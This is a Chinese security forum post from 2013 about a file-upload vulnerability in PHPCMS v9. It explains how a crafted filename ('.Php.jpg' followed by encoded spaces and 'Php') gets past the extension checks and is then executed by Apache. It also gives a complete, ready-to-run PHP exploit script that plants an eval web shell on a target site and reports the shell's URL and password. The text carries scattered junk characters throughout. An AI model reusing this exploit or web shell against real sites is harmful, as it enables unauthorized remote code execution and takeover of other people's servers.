找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2308|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行* P; \7 S5 X; N" [7 `( |. y4 R

% [& Q: i0 K/ L; l5 j! {* z简要描述:
" \# \; g: v3 `7 {
* b& [1 B$ q# R. A: ~' Iphpcms v9 getshell (apache)' U  Q  g" i7 S0 ]! C8 g
详细说明:' l( k% F# C- L6 ^- ?" j

$ Y' x% N* m9 [3 A; |2 a$ N1 j$ C漏洞文件:phpcms\modules\attachment\attachments.php7 i* d  E, O$ a- }

) K5 O# E+ D  ^" u5 N& f$ H" Jpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
8 A/ \5 {9 h, V' g- ~* \) O1 x后缀检测:phpcms\modules\attachment\functions\global.func.php6 v! v1 f- h# ^# E) p

! W3 ]# A% t3 o3 E* M & c  k& U6 b0 _  O

2 f0 ~$ F# l2 s) P, Z# pfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  0 T% T& N# q8 Z! B# q# M

) m$ D2 Z: P! }! f2 E9 i2 t关键函数:
+ C2 c7 X2 D& R4 A. b- V; q2 \
. P2 E$ e' V. C, o, w: ^" @
" b# U( J) t3 k( O7 Q- b: N5 {# g, m- Z, p
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  % e+ R# B' r/ V' S- e% Z. L

* z2 Z4 U& t% T" C9 j/ x  Fileext函数是对文件后缀名的提取。
7 c9 R1 i$ R: G2 D! x- A* }/ A根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
5 b' S0 T4 m  G) \" _经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。% l* n; i) G% J/ ]
我们回到public function crop_upload() 函数中
* q% e+ F3 d+ ^  I' Lif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
# Y# {7 w) w% i, T2 U在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数& F) d0 f. a8 H4 \
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
* ~) g( _+ Z% x0 @3 k2 A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。) ~  [7 m3 D& {; R
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。! t$ G; l. ^! I7 _* _/ A  W, g
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
! q  q) w. K# @9 O% }漏洞证明:4 [# G* z  q4 z

8 {( B- {7 `- H  \2 ^  aexp:
; @+ Y" @0 G" F! w
' J) c2 s3 p/ I/ {<?php# r# K. j' d8 j0 Y4 X
error_reporting(E_ERROR);$ e/ o4 t, e/ |8 ~3 E2 n
set_time_limit(0);
6 c# S; c/ R/ R$ r$pass="ln";
4 O5 N; j( B6 D/ Vprint_r('
6 P8 J- C7 ^+ R9 ]+---------------------------------------------------------------------------+
2 P: J, o( N, q4 pPHPCms V9 GETSHELL 0DAY 2 F: Z$ T' B/ U& y
code by L.N.5 W: W. u1 P6 J. Q( A  Q

9 V1 V* r9 M! Hapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
& C) }2 D* n( z, t  E+---------------------------------------------------------------------------++ u: B7 Q4 j: |$ x3 S( Z
');
( E  \4 p- J  Dif ($argc < 2) {1 }1 h! i. c7 H2 U2 [
print_r('- t- }6 [3 X& `$ y$ K
+---------------------------------------------------------------------------+0 Y( z/ e0 r/ ^& d- B& }
Usage: php '.$argv[0].' url path
$ T' p1 e6 z. M& j. U! l& s5 I5 ^/ ^* C$ L$ b! h- M. _1 q+ {
Example:9 C5 x0 F* g! }* N% `
1.php '.$argv[0].' lanu.sinaapp.com* H) ^9 M/ K: J$ W
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
* Y+ _# m. y+ j5 c- f: f+---------------------------------------------------------------------------+
* D. b. i! k5 z8 z% k" ]');2 b; z3 L4 w, K& h$ G: s' l9 [
exit;' V. j) [2 t- ]) u: z7 g( F
}5 p% j6 E* g; e3 [: w) E& o1 c
- q" {$ N7 z! O+ N  Y
$url = $argv[1];6 }( ~8 R- o/ g% ~0 B! u; g- A4 N" L/ X
$path = $argv[2];
/ J& o% y0 p+ \' V" f0 [# G$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
* B: H$ ~& ^6 v$ R2 f$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
* N" f8 y& ]2 @if($ret=Create_dir($url,$path))& _- G7 ]" p; t. e
{
) A8 \; d9 y7 q9 O6 M9 j" [//echo $ret;5 P, c$ ^4 Q6 S1 Y$ o
$pattern = "|Server:[^,]+?|U";# J5 W9 Q( j0 a/ q- Z) z/ ]
preg_match_all($pattern, $ret, $matches);
' s# s  {2 P' s2 D4 dif($matches[0][0])
' l7 A1 H& l1 m3 c9 ^: M{
1 r% [: b7 B, z2 D7 ]if(strpos($matches[0][0],'Apache') == false)) k- l) U) J' `7 I
{
1 ]" f; |$ Z& z2 A0 z6 pecho "\n亲!此网站不是apache的网站。\n";exit;+ k; ]7 B$ K* D1 Z5 s0 W. ]+ p
}
$ e( h3 g3 F: _; L! m3 O. u2 V0 S}
, q9 L- N$ p( N, y$ret = GetShell($url,$phpshell,$path,$file);1 H* X$ {; P) s
$pattern = "|http:\/\/[^,]+?\.,?|U";
5 A* w3 F: ~$ R. {- J3 Opreg_match_all($pattern, $ret, $matches);
  R: l; ~; H4 t) {3 v1 x7 g; Pif($matches[0][0])
5 ?* J0 M! P( c3 C& n6 `- Q. e{6 k0 H$ Y+ I8 Y
echo "\n".'密码为: '.$pass."\n";) C3 J( R# ?% G' }
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
& _! f$ _8 \. q+ D% W! {}2 P  \" t# F0 o2 \5 C
else
) W- a: H, D+ r  M- E# C2 |{
; S" _, Z/ I) s) o, [$pattern = "|\/uploadfile\/[^,]+?\.,?|U";5 R6 u+ X5 U' z3 y/ b9 i. M, ~$ ]
preg_match_all($pattern, $ret, $matches);2 ?1 P3 j$ s' A3 u3 K; }; l
if($matches[0][0])
- G0 U0 d- k' T# ]/ j/ P. I{
) x7 U/ U( C0 w6 k& U: V' Techo "\n".'密码为: '.$pass."\n";
4 c! n5 m9 V, r$ ]) Z1 h# _# hecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
  U( @2 W* h! i! s$ h' b- W}
! |8 ]/ a. _' K5 B, e) Z6 o; ]else0 h, d% i. l( {# C0 u+ |
{1 `3 d! ?' [* |2 @
echo "\r\n没得到!\n";exit;
; d8 \! m0 W" _4 }/ }0 F}6 |; W% r1 z- }
}5 y% ~+ d: ]1 J
}
0 J2 g/ U5 \) g6 z' H+ o+ F5 S
* d5 n$ s+ V+ g7 B& X' I0 `function GetShell($url,$shell,$path,$js)  C. |2 u3 S) Y( a
{
& C6 Q+ W2 T4 Q( I, h  D+ o$content =$shell;& t9 O/ y" s, j$ [, X
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";  E3 S% }( u" I: _/ _3 H6 p
$data .= "Host: ".$url."\r\n";
4 V9 s, I4 W" G6 w+ t% G5 H$ J, a$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";. C' u( Z2 u! O: P: Z7 U
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( _( V+ r8 f2 b4 w7 N' O* @1 Y7 O6 z4 |$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";7 U- |# w- h+ }+ j- X% u
$data .= "Connection: close\r\n";
% g/ L- N% x5 Y& _" f' u6 N$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 r" k2 o+ @+ l
$data .= $content."\r\n";  N, |6 j% N$ m+ m9 }; r
$ock=fsockopen($url,80);
- A( E! ]8 n' t8 X, [if (!$ock)" j! ]" a% v! [1 F. s! [1 t7 O
{, S+ u% R4 l1 J8 O$ V; d/ |& h$ M
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% S7 s  F) A* J* Z7 b, y) \  ~}
, w+ B* r: B3 R, g1 selse
7 d2 k/ r) O. O% [- V% [: U{+ z  M; k1 U9 V- s8 z) ^/ \
fwrite($ock,$data);
4 J/ }, v7 i" y$ |7 p  p2 u0 |$resp = '';
3 I( @: [, [% |7 d8 V8 E5 \4 {. @1 Dwhile (!feof($ock)). U/ y& X. Q; c0 ?' N$ u
{
" O8 m& e0 Q. r; ?6 _% e$resp.=fread($ock, 1024);
7 e3 T) m& }' ~}
5 L& i, V1 }) k. K( j9 i0 ureturn $resp;
1 Z5 S) i  ]  ?  a}/ n* J" p# z4 V' Z0 S
}
' L1 H! B; H0 N6 ^2 j) F3 Y# E7 x/ e6 e; d
function Create_dir($url,$path='')
8 y" \3 \9 S; s$ g) N2 l4 O' q4 V" \( Q{1 u5 @! @  z7 q+ d) n, ~
$content ='I love you';
8 P& L0 Q* W2 O$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
! B6 U  m) X$ Q9 ]& S2 I% x& X$data .= "Host: ".$url."\r\n";
9 X. M3 @" r5 S: r, l9 l$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 f& S2 B! F2 N$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
" H' w2 m, {' L4 U* \& @$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 h( c( Y) z/ u6 v/ q$data .= "Connection: close\r\n";# g& s2 M0 }# g; S
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
& G" v1 n' h, W7 N, H7 j5 {$data .= $content."\r\n";
3 |' A  e: m+ a) n  N2 |$ock=fsockopen($url,80);. `5 x* C; k1 x( P. _+ \
if (!$ock)
5 v2 `" X6 Y% h( S) Y{
* n; R% B6 u3 X+ p8 T( Necho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;& U% `- |  T& K3 o4 K
}
6 \0 g( w+ s! _- J/ d/ sfwrite($ock,$data);+ k- E" T0 O* |+ z
$resp = '';2 _9 _0 x, m9 \' Z0 f
while (!feof($ock))
: d( {4 S/ i% i$ M4 C; d5 X{( f- F5 y, W5 C; f: |7 I" z( B, p
$resp.=fread($ock, 1024);
& W) u: P3 [+ A1 y( o7 U+ u0 K}5 L# b( d0 i; T; b3 E- G9 M
return $resp;
4 |! Z0 v6 q: |# f  d}# P* r  O: @; H; T% w% n1 q
?>
5 m- Z' N& Z9 {+ H  U: {* J9 f 7 H- O8 ]9 H, y) e. R
修复方案:3 l. H% w% \( X8 y: a( K$ z

4 e1 \) e8 N# j2 i过滤过滤再过滤
. h& M: Q% I; x7 g" s, `
1 _) }! l2 |1 n( b4 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表